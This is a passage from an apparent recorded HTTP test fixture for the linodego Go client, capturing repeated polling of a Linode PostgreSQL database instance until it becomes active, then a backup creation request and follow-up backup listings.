DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "687" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"postgresbackupforlinodego","target":"primary"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx 